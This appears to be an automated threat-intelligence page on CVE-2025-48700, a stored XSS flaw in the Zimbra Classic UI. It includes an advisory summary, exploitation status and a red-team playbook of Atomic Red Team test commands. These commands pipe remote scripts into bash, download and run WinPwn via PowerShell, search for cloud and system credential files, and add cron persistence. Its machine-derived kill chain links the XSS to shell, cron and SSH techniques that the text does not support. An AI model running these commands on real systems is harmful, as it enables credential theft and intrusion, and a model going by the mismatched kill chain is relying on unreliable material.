CVE-2025-48700

MEDIUM CISA KEV Pub 23/06 Upd 21/04

Overview

This vulnerability is a Cross-Site Scripting (XSS) flaw rooted in insufficient sanitization of HTML content within the Zimbra Classic UI. The issue arises from improper handling of crafted tag structures and attribute values that include @import directives and other script injection vectors. The affected component is the Classic UI rendering engine that processes email message content, failing to neutralize malicious JavaScript payloads embedded in email bodies.

Vulnerability Description

An issue was discovered in Zimbra Collaboration (ZCS) 8.8.15 and 9.0 and 10.0 and 10.1. A Cross-Site Scripting (XSS) vulnerability in the Zimbra Classic UI allows attackers to execute arbitrary JavaScript within the user's session, potentially leading to unauthorized access to sensitive information. This issue arises from insufficient sanitization of HTML content, specifically involving crafted tag structures and attribute values that include an @import directive and other script injection vectors. The vulnerability is triggered when a user views a crafted e-mail message in the Classic UI, requiring no additional user interaction.

Impact

An attacker can execute arbitrary JavaScript code within the victim's browser session by sending a crafted email that the user opens in the Classic UI. This enables unauthorized access to sensitive information accessible in the user's session, such as email contents or authentication tokens. No authentication or further user interaction beyond viewing the malicious email is necessary. The vulnerability can lead to data theft, session hijacking, or other client-side attacks impacting confidentiality and user trust.

Solution

Zimbra has addressed this vulnerability in security advisories published on their official wiki (https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories). Users should upgrade affected Zimbra Collaboration Suite versions 8.8.15, 9.0, 10.0, and 10.1 to the latest patched releases as detailed in the advisories. The vendor’s Security Center and Responsible Disclosure Policy pages provide guidance on applying updates and recommended mitigations to disable or restrict the Classic UI if immediate patching is not feasible.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability has been identified in the Zimbra Collaboration Suite (ZCS), specifically affecting versions 8.8.15, 9.0, 10.0, and 10.1. This vulnerability is classified as a Cross-Site Scripting (XSS) issue within the Zimbra Classic UI, which allows attackers to execute arbitrary JavaScript code in the context of a user's session. The root cause of this vulnerability lies in the inadequate sanitization of HTML content, particularly when crafted tag structures and attribute values are utilized. Attackers can exploit this weakness by embedding malicious scripts in email messages, which are executed automatically when the user views the email in the Classic UI, requiring no further interaction from the user.

The exploitation of this XSS vulnerability can occur through various attack vectors. For instance, an attacker could send a specially crafted email containing malicious JavaScript code. When the targeted user opens the email, the script executes within their browser session, potentially allowing the attacker to steal sensitive information such as session cookies, login credentials, or other personal data. Furthermore, the attacker could leverage this access to perform actions on behalf of the user, leading to unauthorized access to the user's account or other sensitive resources within the organization. Given the nature of email communications, this attack vector is particularly insidious, as it preys on the trust users place in their email systems.

The real-world impact of this vulnerability can be significant, posing substantial business risks. Organizations using the affected versions of Zimbra may find themselves exposed to data breaches, loss of sensitive information, and potential regulatory penalties if user data is compromised. The ability for attackers to execute scripts in a user's session can lead to further exploitation, including lateral movement within the organization's network, which could result in more extensive data loss or system compromise. Additionally, the reputational damage stemming from such incidents can have long-lasting effects on customer trust and business relationships.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and vulnerability scanning should be conducted to identify and remediate any instances of this XSS vulnerability. Additionally, organizations should ensure that they are using the latest versions of the Zimbra Collaboration Suite, as updates often include critical security patches. Employing web application firewalls (WAFs) can also help filter out malicious input and provide an additional layer of protection against XSS attacks. Furthermore, user education is crucial; training employees to recognize phishing attempts and suspicious email content can significantly reduce the likelihood of successful exploitation.

In conclusion, the XSS vulnerability in the Zimbra Collaboration Suite represents a serious threat to organizations relying on this platform for communication and collaboration. The potential for unauthorized access to sensitive information, combined with the ease of exploitation through crafted email messages, makes this vulnerability a priority for remediation. By adopting proactive detection and mitigation strategies, organizations can protect themselves from the risks associated with this vulnerability and safeguard their users' data.




CSURFACE threat intelligence has identified a marked escalation in activity related to CVE-2025-48700, with this vulnerability now cataloged in the CISA Known Exploited Vulnerabilities (KEV) list, underscoring its increased operational relevance. Our telemetry indicates a significant surge in detection trends, reflecting growing adversary interest and potential targeting of Zimbra Collaboration Suite environments. The CVSS score adjustment to 6.1 aligns with this heightened concern, while the emergence of a substantial EPSS score—positioned near the 97th percentile—signals a rapidly increasing likelihood of exploitation attempts in the wild. Although no new exploit techniques or ransomware associations have been confirmed, the accelerated exploitation probability elevates the urgency for defenders to reassess their exposure and monitoring strategies. This evolution in the threat landscape elevates the risk posture from a theoretical medium concern to a more imminent operational threat, necessitating heightened vigilance within affected organizations.



Update 2 — May 16, 2026

CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-48700, with telemetry indicating a near tenfold increase in exploitation attempts targeting the Zimbra Collaboration Suite. This surge contrasts with a concurrent decline in the EPSS score, suggesting that while exploit attempts are becoming more frequent, the overall likelihood of widespread successful exploitation may be stabilizing or influenced by mitigation efforts. The addition of this vulnerability to the Known Exploited Vulnerabilities (KEV) catalog underscores its growing operational relevance and signals increased attention from threat actors, although no new exploit variants or ransomware affiliations have been observed to date. For defenders, this evolving landscape highlights the necessity to prioritize monitoring and detection capabilities for this vulnerability, as the heightened exploitation activity elevates the risk of unauthorized data access through persistent cross-site scripting attacks. Consequently, the threat level should be adjusted to reflect a more immediate operational concern, emphasizing active exploitation attempts despite the nuanced EPSS trend.

Affected Products (94)

Vendor Product Version CPE
synacor Synacor Zimbra Collaboration Suite All cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite All cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:-:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p1:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p10:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p11:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p12:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p13:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p14:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p15:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p16:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p17:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p18:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p19:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p2:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p20:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p21:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p22:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p23:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p24:*:*:*:*:*:*
+74 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Some sightings

Threat Feed

8 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-24
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-04-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-20
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Cross-Site Scripting
91% xss
Authentication Bypass
45% auth_bypass
Authorization Bypass
40% authz_bypass

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003 Cron Kill Chain execution, persistence, privilege-escalation Linux, macOS, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-63 Cross-Site Scripting (XSS)
87%
High Very High
CAPEC-588 DOM-Based XSS
86%
High Very High
CAPEC-591 Reflected XSS
86%
High Very High
CAPEC-592 Stored XSS
83%
High Very High
CAPEC-209 XSS Using MIME Type Mismatch
76%
Medium

Red Team Playbook

47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell)
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell)
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-48700
wiki.zimbra.com
GitHub CVE
https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
wiki.zimbra.com
GitHub CVE
https://wiki.zimbra.com/wiki/Security_Center
wiki.zimbra.com
GitHub CVE
https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy
cisa.gov
NVD API
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-48700